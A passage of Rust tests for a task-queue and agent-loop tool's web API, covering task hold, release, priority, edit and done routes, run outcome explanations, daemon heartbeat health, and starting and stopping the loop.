9067 Some(flow_run(RunStatus::Merged, |s| {
9068 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9069 })),
9070 )],
9071 );
9072 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9073 assert_eq!(
9074 f.nodes[1].detail.as_deref(),
9075 Some("review-only run of branch magi/x/A")
9076 );
9077 }
9078
9079 #[test]
9080 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9081 let mut t = flow_task(&[FA]);
9082 t.status = TaskStatus::Held;
9083 let pr = crate::run::PrRecord {
9084 url: "https://example.test/pr/1".to_owned(),
9085 number: 1,
9086 state: "open".to_owned(),
9087 checks: "green".to_owned(),
9088 round: 0,
9089 rounds: 3,
9090 red_at_merge: Vec::new(),
9091 };
9092 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9093 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9094 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9095 t.status = TaskStatus::Done;
9096 let f = flow_for(&t, &[(FA, Some(blocked))]);
9097 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9098 }
9099
9100 #[test]
9101 fn flow_with_no_runs_goes_from_queued_to_queued() {
9102 let t = flow_task(&[]);
9103 let f = flow_for(&t, &[]);
9104 assert_eq!(f.nodes.len(), 2);
9105 assert_eq!(f.edges.len(), 1);
9106 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9107 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9108 }
9109
9110 #[test]
9113 fn a_parked_non_terminal_run_is_explained_as_parked() {
9114 let mut s = RunState::new(
9115 PathBuf::from("/repo/magi"),
9116 "main".to_owned(),
9117 "0123456789abcdef".to_owned(),
9118 "Do it".to_owned(),
9119 Config::default(),
9120 );
9121 s.status = RunStatus::Implementing;
9122 s.parked = true;
9123 let task = Task::new(
9124 "t".to_owned(),
9125 "Do it".to_owned(),
9126 PathBuf::from("/repo/magi"),
9127 Source::Human,
9128 );
9129 let v = task_run_view(
9130 "20260902-140501-aaaa",
9131 Some(&s),
9132 RunSlot {
9133 n: 1,
9134 resumed: false,
9135 resumed_later: None,
9136 prior: None,
9137 last: true,
9138 },
9139 &task,
9140 );
9141 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9142 }
9143
9144 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9145 let mut s = flow_run(RunStatus::Implementing, edit);
9146 s.parked = false;
9147 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9148 task_run_view(
9149 "20260902-140501-aaaa",
9150 Some(&s),
9151 RunSlot {
9152 n: 1,
9153 resumed: false,
9154 resumed_later: Some(2),
9155 prior: None,
9156 last: false,
9157 },
9158 &task,
9159 )
9160 }
9161
9162 #[test]
9163 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9164 let v = earlier_pass_view(|_| {});
9165 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9166 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9167 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9168 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9169 assert_eq!(v.exit, RunExit::Interrupted);
9170 assert_eq!(v.attempt, AttemptCost::Unknown);
9171 }
9172
9173 #[test]
9174 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9175 let v = earlier_pass_view(|s| {
9176 s.quota.push(crate::run::QuotaLoss {
9177 seat: "judge-1".to_owned(),
9178 node: "judge".to_owned(),
9179 at: Timestamp::now(),
9180 reset: None,
9181 });
9182 });
9183 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9184 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9185 assert_eq!(v.attempt, AttemptCost::Unknown);
9186 }
9187
9188 #[test]
9189 fn the_current_pass_states_its_recorded_cause_and_cost() {
9190 let slot = || RunSlot {
9191 n: 1,
9192 resumed: false,
9193 resumed_later: None,
9194 prior: None,
9195 last: true,
9196 };
9197 let task = flow_task(&["20260902-140501-aaaa"]);
9198 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9199 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9200 assert_eq!(
9201 (v.exit, v.attempt),
9202 (RunExit::Parked, AttemptCost::Refunded)
9203 );
9204 let spent = flow_run(RunStatus::Blocked, |_| {});
9205 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9206 assert_eq!(v.attempt, AttemptCost::Spent);
9207 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9208 }
9209
9210 #[tokio::test]
9211 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9212 let f = Fixture::start().await;
9213 let queue = f.queue();
9214 let mut task = Task::new(
9215 "spent".to_owned(),
9216 "Try again".to_owned(),
9217 PathBuf::from("/repo/magi"),
9218 Source::Human,
9219 );
9220 task.start("20260902-140502-bbbb".to_owned());
9221 task.fail("agent gave up", 9);
9222 queue.put(&mut task).expect("file the task");
9223
9224 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9225 assert_eq!(held.status, 200);
9226 assert_eq!(held.json()["status_str"], "held");
9227
9228 let released = f
9229 .post(&format!("/api/queue/{}/release", task.id), None)
9230 .await;
9231 assert_eq!(released.status, 200);
9232 assert_eq!(released.json()["status_str"], "queued");
9233 assert_eq!(
9234 released.json()["attempts"],
9235 0,
9236 "release is a real second chance, not an instant re-hold"
9237 );
9238 assert_eq!(
9239 queue.get(&task.id).expect("reload").status,
9240 TaskStatus::Queued,
9241 "the change is on disk, not only in the reply"
9242 );
9243 assert!(
9244 !f.home
9245 .path()
9246 .join("queue")
9247 .join(format!("{}.lock", task.id))
9248 .exists(),
9249 "the claim the mutation took is released again"
9250 );
9251 }
9252
9253 #[tokio::test]
9254 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9255 let f = Fixture::start().await;
9256 let queue = f.queue();
9257 let mut task = Task::new(
9258 "busy".to_owned(),
9259 "Running right now".to_owned(),
9260 PathBuf::from("/repo/magi"),
9261 Source::Human,
9262 );
9263 queue.put(&mut task).expect("file the task");
9264 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9265
9266 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9267
9268 assert_eq!(res.status, 409);
9269 assert_eq!(
9270 queue.get(&task.id).expect("reload").status,
9271 TaskStatus::Queued,
9272 "the refused hold changed nothing"
9273 );
9274 }
9275
9276 #[tokio::test]
9277 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9278 let f = Fixture::start().await;
9279 let queue = f.queue();
9280 let mut task = Task::new(
9281 "waiting on the migration".to_owned(),
9282 "Do the thing".to_owned(),
9283 PathBuf::from("/repo/magi"),
9284 Source::Human,
9285 );
9286 queue.put(&mut task).expect("file the task");
9287
9288 let held = f
9289 .post(
9290 &format!("/api/queue/{}/hold", task.id),
9291 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9292 )
9293 .await;
9294 assert_eq!(held.status, 200, "{}", held.body);
9295 assert_eq!(held.json()["status_str"], "held");
9296 assert_eq!(
9297 held.json()["hold_reason"],
9298 "waiting for 20260101-000000-aaaa to land"
9299 );
9300
9301 let listed = f.get("/api/queue").await.json();
9302 assert_eq!(
9303 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9304 "the card reads the reason off the same list route"
9305 );
9306
9307 let mut plain = Task::new(
9310 "no reason given".to_owned(),
9311 "Do another thing".to_owned(),
9312 PathBuf::from("/repo/magi"),
9313 Source::Human,
9314 );
9315 queue.put(&mut plain).expect("file the task");
9316 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9317 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9318 assert!(held_plain.json()["hold_reason"].is_null());
9319
9320 let released = f
9321 .post(&format!("/api/queue/{}/release", task.id), None)
9322 .await;
9323 assert_eq!(released.status, 200);
9324 assert!(
9325 released.json()["hold_reason"].is_null(),
9326 "a release must clear the reason so the next hold does not inherit it"
9327 );
9328 }
9329
9330 #[tokio::test]
9331 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9332 let f = Fixture::start().await;
9333 let queue = f.queue();
9334 let mut older = Task::new(
9335 "filed first".to_owned(),
9336 "x".to_owned(),
9337 PathBuf::from("/repo/magi"),
9338 Source::Human,
9339 );
9340 older.id = "20260101-000001-aaaa".to_owned();
9341 let mut newer = Task::new(
9342 "filed second".to_owned(),
9343 "x".to_owned(),
9344 PathBuf::from("/repo/magi"),
9345 Source::Human,
9346 );
9347 newer.id = "20260101-000002-bbbb".to_owned();
9348 queue.put(&mut older).expect("file older");
9349 queue.put(&mut newer).expect("file newer");
9350
9351 let before = f.get("/api/queue").await.json();
9354 assert_eq!(before[0]["id"], newer.id);
9355 assert_eq!(before[1]["id"], older.id);
9356
9357 let raised = f
9361 .post(
9362 &format!("/api/queue/{}/priority", older.id),
9363 Some(r#"{"priority":10}"#),
9364 )
9365 .await;
9366 assert_eq!(raised.status, 200, "{}", raised.body);
9367 assert_eq!(raised.json()["priority"], 10);
9368
9369 let after = f.get("/api/queue").await.json();
9370 let names: Vec<&str> = after
9371 .as_array()
9372 .unwrap()
9373 .iter()
9374 .map(|t| t["id"].as_str().unwrap())
9375 .collect();
9376 assert_eq!(names[0], older.id, "the raised task now sorts first");
9380 }
9381
9382 #[tokio::test]
9383 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9384 let f = Fixture::start().await;
9385 let queue = f.queue();
9386 let mut task = Task::new(
9387 "in flight".to_owned(),
9388 "x".to_owned(),
9389 PathBuf::from("/repo/magi"),
9390 Source::Human,
9391 );
9392 task.start("20260902-140502-bbbb".to_owned());
9393 queue.put(&mut task).expect("file the task");
9394
9395 let res = f
9396 .post(
9397 &format!("/api/queue/{}/priority", task.id),
9398 Some(r#"{"priority":9}"#),
9399 )
9400 .await;
9401 assert_eq!(res.status, 400, "{}", res.body);
9402 assert!(
9403 res.json()["error"]
9404 .as_str()
9405 .is_some_and(|e| e.contains("running")),
9406 "{}",
9407 res.body
9408 );
9409 assert_eq!(
9410 queue.get(&task.id).expect("reload").priority,
9411 0,
9412 "the refused write must not partially apply"
9413 );
9414 }
9415
9416 #[tokio::test]
9417 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9418 let f = Fixture::start().await;
9419 let queue = f.queue();
9420 let mut task = Task::new(
9421 "old title".to_owned(),
9422 "old instruction".to_owned(),
9423 PathBuf::from("/repo/magi"),
9424 Source::Agent {
9425 run: "20260101-000000-beef".to_owned(),
9426 node: "implement".to_owned(),
9427 },
9428 );
9429 task.runs.push("20260101-000000-beef".to_owned());
9430 queue.put(&mut task).expect("file the task");
9431 let created_at = task.created_at;
9432
9433 let edited = f
9434 .post(
9435 &format!("/api/queue/{}/edit", task.id),
9436 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9437 )
9438 .await;
9439 assert_eq!(edited.status, 200, "{}", edited.body);
9440 let body = edited.json();
9441 assert_eq!(body["title"], "new title");
9442 assert_eq!(body["instruction"], "new instruction");
9443 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9444 assert_eq!(body["created_at"], created_at.to_string());
9445 assert_eq!(
9446 body["source"]["kind"], "agent",
9447 "editing a task an agent filed must not turn it human: {body}"
9448 );
9449 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9450
9451 let reloaded = queue.get(&task.id).expect("reload");
9452 assert_eq!(reloaded.title, "new title");
9453 assert_eq!(reloaded.instruction, "new instruction");
9454 }
9455
9456 #[tokio::test]
9457 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9458 let f = Fixture::start().await;
9459 let queue = f.queue();
9460 let mut owner = Task::new(
9461 "owner".to_owned(),
9462 "review it".to_owned(),
9463 PathBuf::from("/repo/magi"),
9464 Source::Human,
9465 );
9466 owner.review_branch = Some("magi/ab12/A".to_owned());
9467 queue.put(&mut owner).expect("file the owner");
9468 let mut task = Task::new(
9469 "draft".to_owned(),
9470 "old".to_owned(),
9471 PathBuf::from("/repo/magi"),
9472 Source::Human,
9473 );
9474 queue.put(&mut task).expect("file the draft");
9475 let url = format!("/api/queue/{}/edit", task.id);
9476
9477 let refused = f
9478 .post(
9479 &url,
9480 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9481 )
9482 .await;
9483 assert_eq!(refused.status, 409, "{}", refused.body);
9484 let msg = refused.json()["error"]
9485 .as_str()
9486 .unwrap_or_default()
9487 .to_owned();
9488 assert!(
9489 msg.contains("magi/ab12/A") && msg.contains("force"),
9490 "{msg}"
9491 );
9492 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9493
9494 let forced = f
9495 .post(
9496 &url,
9497 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9498 )
9499 .await;
9500 assert_eq!(forced.status, 200, "{}", forced.body);
9501 }
9502
9503 #[tokio::test]
9504 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9505 let f = Fixture::start().await;
9506 let queue = f.queue();
9507 let mut task = Task::new(
9508 "in flight".to_owned(),
9509 "do not touch".to_owned(),
9510 PathBuf::from("/repo/magi"),
9511 Source::Human,
9512 );
9513 task.start("20260902-140502-bbbb".to_owned());
9514 queue.put(&mut task).expect("file the task");
9515
9516 let res = f
9517 .post(
9518 &format!("/api/queue/{}/edit", task.id),
9519 Some(r#"{"title":"x","instruction":"y"}"#),
9520 )
9521 .await;
9522 assert_eq!(res.status, 400, "{}", res.body);
9523 assert!(
9524 res.json()["error"]
9525 .as_str()
9526 .is_some_and(|e| e.contains("running")),
9527 "{}",
9528 res.body
9529 );
9530 assert_eq!(
9531 queue.get(&task.id).expect("reload").instruction,
9532 "do not touch",
9533 "the refused edit must not change the file"
9534 );
9535 }
9536
9537 #[tokio::test]
9538 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9539 let f = Fixture::start().await;
9540 let queue = f.queue();
9541 let mut task = Task::new(
9542 "busy".to_owned(),
9543 "Running right now".to_owned(),
9544 PathBuf::from("/repo/magi"),
9545 Source::Human,
9546 );
9547 queue.put(&mut task).expect("file the task");
9548 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9549
9550 let priority = f
9551 .post(
9552 &format!("/api/queue/{}/priority", task.id),
9553 Some(r#"{"priority":9}"#),
9554 )
9555 .await;
9556 assert_eq!(priority.status, 409, "{}", priority.body);
9557
9558 let edit = f
9559 .post(
9560 &format!("/api/queue/{}/edit", task.id),
9561 Some(r#"{"title":"x","instruction":"y"}"#),
9562 )
9563 .await;
9564 assert_eq!(edit.status, 409, "{}", edit.body);
9565 }
9566
9567 #[tokio::test]
9568 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9569 let f = Fixture::start().await;
9570 let queue = f.queue();
9571 let mut task = Task::new(
9572 "shipped by hand".to_owned(),
9573 "merged outside the loop".to_owned(),
9574 PathBuf::from("/repo/magi"),
9575 Source::Agent {
9576 run: "20260101-000000-b455".to_owned(),
9577 node: "implement".to_owned(),
9578 },
9579 );
9580 task.runs.push("20260101-000000-b455".to_owned());
9581 task.runs.push("20260101-000000-9af4".to_owned());
9582 queue.put(&mut task).expect("file the task");
9583 let created_at = task.created_at;
9584
9585 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9586 assert_eq!(done.status, 200, "{}", done.body);
9587 assert_eq!(done.json()["status_str"], "done");
9588
9589 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9590 assert_eq!(
9591 reloaded.runs,
9592 ["20260101-000000-b455", "20260101-000000-9af4"]
9593 );
9594 assert_eq!(
9595 reloaded.source,
9596 Source::Agent {
9597 run: "20260101-000000-b455".to_owned(),
9598 node: "implement".to_owned(),
9599 }
9600 );
9601 assert_eq!(reloaded.created_at, created_at);
9602 }
9603
9604 #[tokio::test]
9605 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9606 let f = Fixture::start().await;
9611 let queue = f.queue();
9612 let mut task = Task::new(
9613 "landed while held".to_owned(),
9614 "x".to_owned(),
9615 PathBuf::from("/repo/magi"),
9616 Source::Human,
9617 );
9618 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9619 queue.put(&mut task).expect("file the held task");
9620
9621 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9622 assert_eq!(done.status, 200, "{}", done.body);
9623 assert_eq!(done.json()["status_str"], "done");
9624 assert!(
9625 done.json()["hold_reason"].is_null(),
9626 "a done task cannot still be waiting on something: {}",
9627 done.body
9628 );
9629 }
9630
9631 #[tokio::test]
9632 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9633 let f = Fixture::start().await;
9638 let queue = f.queue();
9639 let runs = f.runs();
9640 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9641 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9645
9646 let mut task = Task::new(
9647 "landed by hand".to_owned(),
9648 "x".to_owned(),
9649 PathBuf::from("/repo/magi"),
9650 Source::Human,
9651 );
9652 task.runs.push("20260101-000000-doa1".to_owned());
9653 task.runs.push("20260101-000000-doa2".to_owned());
9654 queue.put(&mut task).expect("file the task");
9655
9656 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9657 assert_eq!(done.status, 200, "{}", done.body);
9658
9659 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9660 .expect("run still on disk under this fixture's own home");
9661 assert_eq!(
9662 reloaded_run.status,
9663 RunStatus::Superseded,
9664 "closing the task by hand must relabel the earlier blocked attempt exactly \
9665 like the loop's own settle path does"
9666 );
9667 }
9668
9669 #[tokio::test]
9670 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9671 let f = Fixture::start().await;
9676 let queue = f.queue();
9677 let runs = f.runs();
9678 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9679 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9680
9681 let mut task = Task::new(
9682 "closed with nothing actually landed".to_owned(),
9683 "x".to_owned(),
9684 PathBuf::from("/repo/magi"),
9685 Source::Human,
9686 );
9687 task.runs.push("20260101-000000-dob1".to_owned());
9688 task.runs.push("20260101-000000-dob2".to_owned());
9689 queue.put(&mut task).expect("file the task");
9690
9691 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9692 assert_eq!(done.status, 200, "{}", done.body);
9693
9694 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9695 .expect("run still on disk under this fixture's own home");
9696 assert_eq!(
9697 reloaded_run.status,
9698 RunStatus::Blocked,
9699 "the last recorded attempt never landed, so the earlier one must not be \
9700 relabelled as superseded by it"
9701 );
9702 }
9703
9704 #[tokio::test]
9705 async fn unknown_ids_are_json_not_found_on_both_stores() {
9706 let f = Fixture::start().await;
9707
9708 let run = f.get("/api/runs/nosuchrun").await;
9709 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9710
9711 assert_eq!(run.status, 404);
9712 assert_eq!(task.status, 404);
9713 assert!(
9714 run.json()["error"]
9715 .as_str()
9716 .is_some_and(|e| e.contains("run")),
9717 "the error names what was not found: {}",
9718 run.body
9719 );
9720 assert!(
9721 task.json()["error"]
9722 .as_str()
9723 .is_some_and(|e| e.contains("task")),
9724 "the error names what was not found: {}",
9725 task.body
9726 );
9727 }
9728
9729 #[tokio::test]
9730 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9731 let f = Fixture::start().await;
9732
9733 let missing = f.get("/api/health").await.json();
9734 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9735
9736 write_daemon(
9737 f.home.path(),
9738 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9739 );
9740 let stale = f.get("/api/health").await.json();
9741 assert_eq!(
9742 stale["daemon"]["running"], false,
9743 "a minute without a heartbeat is a dead daemon, not a busy one"
9744 );
9745 assert!(
9746 stale["daemon"]["stale_for_secs"]
9747 .as_i64()
9748 .is_some_and(|s| s >= 55),
9749 "staleness is reported so the UI can say how long: {stale}"
9750 );
9751
9752 write_daemon(f.home.path(), Timestamp::now());
9753 let fresh = f.get("/api/health").await.json();
9754 assert_eq!(fresh["daemon"]["running"], true);
9755 assert_eq!(fresh["daemon"]["idle"], false);
9756 assert_eq!(fresh["daemon"]["pid"], 4242);
9757 assert_eq!(fresh["daemon"]["completed"], 7);
9758 assert_eq!(
9759 fresh["daemon"]["current"][0]["task"],
9760 "20260902-140501-aaaa"
9761 );
9762 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9763 }
9764
9765 #[tokio::test]
9766 async fn the_loop_is_not_running_until_something_starts_it() {
9767 let f = Fixture::start().await;
9768
9769 let view = f.get("/api/loop").await.json();
9770 assert_eq!(view["running"], false);
9771 assert_eq!(
9772 view["owned"], false,
9773 "nobody owns a loop that does not exist: {view}"
9774 );
9775 assert_eq!(view["stopping"], false);
9776 assert_eq!(view["last_error"], Value::Null);
9777 assert_eq!(view["daemon"]["running"], false);
9778 assert_eq!(
9779 view["repo"], "/repo/magi",
9780 "the repository a start would use, named before it is started"
9781 );
9782 }
9783
9784 #[tokio::test]
9785 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9786 let f = Fixture::start().await;
9787
9788 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9789 assert_eq!(res.status, 200, "{}", res.body);
9790 let view = res.json();
9791 assert_eq!(view["running"], true);
9792 assert_eq!(
9793 view["owned"], true,
9794 "the loop the UI started is the UI's own to stop: {view}"
9795 );
9796 assert_eq!(
9797 view["merge"],
9798 Value::Null,
9799 "no override was given, so each repository's own config decides"
9800 );
9801
9802 let health = f.get("/api/health").await.json();
9806 assert_eq!(health["loop"]["running"], true, "{health}");
9807 assert_eq!(health["loop"]["owned"], true, "{health}");
9808
9809 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9810 }
9811
9812 #[tokio::test]
9813 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9814 let f = Fixture::start().await;
9815 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9816 assert_eq!(first.status, 200, "{}", first.body);
9817
9818 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9819 assert_eq!(
9820 again.status, 409,
9821 "two loops on one queue race for the same claims: {}",
9822 again.body
9823 );
9824 assert!(
9825 again.json()["error"]
9826 .as_str()
9827 .is_some_and(|e| e.contains("already running the loop")),
9828 "the refusal has to say why: {}",
9829 again.body
9830 );
9831 assert_eq!(
9832 f.get("/api/loop").await.json()["running"],
9833 true,
9834 "and the loop that was already running is untouched by it"
9835 );
9836
9837 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9838 }
9839
9840 #[tokio::test]
9841 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9842 let f = Fixture::start().await;
9843 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9844
9845 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9846 assert_eq!(
9847 res.status, 200,
9848 "the answer must not wait for the loop: a run in flight is tens of \
9849 minutes and the operator is holding a phone: {}",
9850 res.body
9851 );
9852
9853 let view = settled(&f, |v| v["running"] == false).await;
9854 assert_eq!(view["owned"], false);
9855 assert_eq!(
9856 view["stopping"], false,
9857 "a loop that has stopped is not still stopping: {view}"
9858 );
9859 assert_eq!(
9860 view["last_error"],
9861 Value::Null,
9862 "a loop that was asked to stop did not fail: {view}"
9863 );
9864
9865 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9868 assert_eq!(twice.status, 200, "{}", twice.body);
9869 }
9870
9871 #[tokio::test]
9872 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9873 let f = Fixture::start().await;
9874 write_daemon(f.home.path(), Timestamp::now());
9877
9878 let view = f.get("/api/loop").await.json();
9879 assert_eq!(view["running"], false, "not in this process: {view}");
9880 assert_eq!(view["owned"], false, "and not this process's to control");
9881 assert_eq!(
9882 view["daemon"]["running"], true,
9883 "but a loop is alive somewhere, which is what the UI must say"
9884 );
9885 assert_eq!(view["daemon"]["pid"], 4242);
9886
9887 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9888 let res = f.post("/api/loop", Some(body)).await;
9889 assert_eq!(
9890 res.status, 409,
9891 "neither button may pretend to work on someone else's loop: {}",
9892 res.body
9893 );
9894 assert!(
9895 res.json()["error"]
9896 .as_str()
9897 .is_some_and(|e| e.contains("4242")),
9898 "the refusal has to name the process the operator must go to: {}",
9899 res.body
9900 );
9901 }
9902 assert_eq!(
9903 f.get("/api/loop").await.json()["running"],
9904 false,
9905 "and the refusal started nothing"
9906 );
9907 }
9908
9909 #[tokio::test]
9910 async fn a_stale_status_file_is_not_a_foreign_owner() {
9911 let f = Fixture::start().await;
9912 write_daemon(
9913 f.home.path(),
9914 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9915 );
9916
9917 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9918 assert_eq!(
9919 res.status, 200,
9920 "a daemon killed a minute ago must not lock the loop out of its \
9921 own home for good: {}",
9922 res.body
9923 );
9924 assert_eq!(res.json()["running"], true);
9925
9926 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9927 }
9928
9929 #[tokio::test]
9930 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9931 let f = Fixture::start().await;
9932 let before = f.get("/api/health").await.json()["loop_rev"]
9933 .as_u64()
9934 .expect("a loop revision");
9935
9936 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9937
9938 let after = f.get("/api/health").await.json()["loop_rev"]
9939 .as_u64()
9940 .expect("a loop revision");
9941 assert!(
9942 after > before,
9943 "the loop is in-process state, so this counter is the only thing \
9944 that tells a second device the first one started it: {before} -> \
9945 {after}"
9946 );
9947
9948 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9949 }
9950
9951 #[tokio::test]
9952 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9953 let f = Fixture::with_loop(launch_broken).await;
9954
9955 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9956 assert_eq!(
9957 res.status, 200,
9958 "starting it is not the failure: {}",
9959 res.body
9960 );
9961
9962 let view = settled(&f, |v| v["last_error"].is_string()).await;
9963 assert_eq!(
9964 view["running"], false,
9965 "a loop that died must not read as running, or the operator has \
9966 nothing to press: {view}"
9967 );
9968 assert_eq!(view["owned"], false);
9969 assert!(
9970 view["last_error"]
9971 .as_str()
9972 .is_some_and(|e| e.contains("read-only file system")),
9973 "the phone is where a loop that died at 3am is visible: {view}"
9974 );
9975
9976 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9979 assert_eq!(again.status, 200, "{}", again.body);
9980 assert_eq!(
9981 again.json()["last_error"],
9982 Value::Null,
9983 "a fresh start does not keep showing why the last one died"
9984 );
9985 }
9986
9987 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9999 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10000 let home = TempDir::new().expect("temp home");
10001 let runs = home.path().join("runs");
10002 std::fs::create_dir_all(&runs).expect("runs dir");
10003 let ui = Ui::new(
10004 Queue::at(home.path().join("queue")),
10005 Questions::at(home.path().join("questions")),
10006 Talks::at(home.path().join("talks")),
10007 runs,
10008 home.path().to_path_buf(),
10009 PathBuf::from("/repo/magi"),
10010 )
10011 .with_worktrees_root(home.path().join("wt"))
10012 .with_launch(launch_knocking_on_the_way_out);
10013 let looping = ui.looping();
10014 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10015 .await
10016 .expect("bind loopback");
10017 let addr = listener.local_addr().expect("local addr");
10018 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10019 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10020
10021 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10022 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10023
10024 let bound = std::sync::Mutex::new(None);
10039 hand_over(home.path(), &looping, served, |_| {
10040 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10041 let attempt = loop {
10042 match std::net::TcpListener::bind(addr) {
10043 Ok(l) => {
10044 drop(l);
10045 break Ok(());
10046 }
10047 Err(e)
10048 if e.kind() == std::io::ErrorKind::AddrInUse
10049 && std::time::Instant::now() < deadline =>
10050 {
10051 std::thread::sleep(std::time::Duration::from_millis(10));
10052 }
10053 Err(e) => break Err(e.to_string()),
10054 }
10055 };
10056 *bound.lock().expect("bound") = Some(attempt);
10057 Ok(())
10058 })
10059 .await
10060 .expect("hand over");
10061
10062 assert_eq!(
10063 *PARK_HEARD.lock().expect("park heard"),
10064 Some(200),
10065 "the deck must answer while the loop is parking"
10066 );
10067 let attempt = bound
10068 .lock()
10069 .expect("bound")
10070 .take()
10071 .expect("the successor was started");
10072 assert!(
10073 attempt.is_ok(),
10074 "and the address must be free by the time it is: {attempt:?}"
10075 );
10076 }
10077
10078 #[tokio::test]
10079 async fn a_newer_daemon_status_file_still_renders() {
10080 let f = Fixture::start().await;
10081 std::fs::write(
10084 f.home.path().join("daemon.json"),
10085 serde_json::json!({
10086 "schema": 2,
10087 "updated_at": Timestamp::now().to_string(),
10088 "idle": true,
10089 "surprise": { "nested": [1, 2, 3] },
10090 })
10091 .to_string(),
10092 )
10093 .expect("write daemon.json");
10094
10095 let health = f.get("/api/health").await;
10096
10097 assert_eq!(health.status, 200);
10098 assert_eq!(health.json()["daemon"]["running"], true);
10099 }
10100
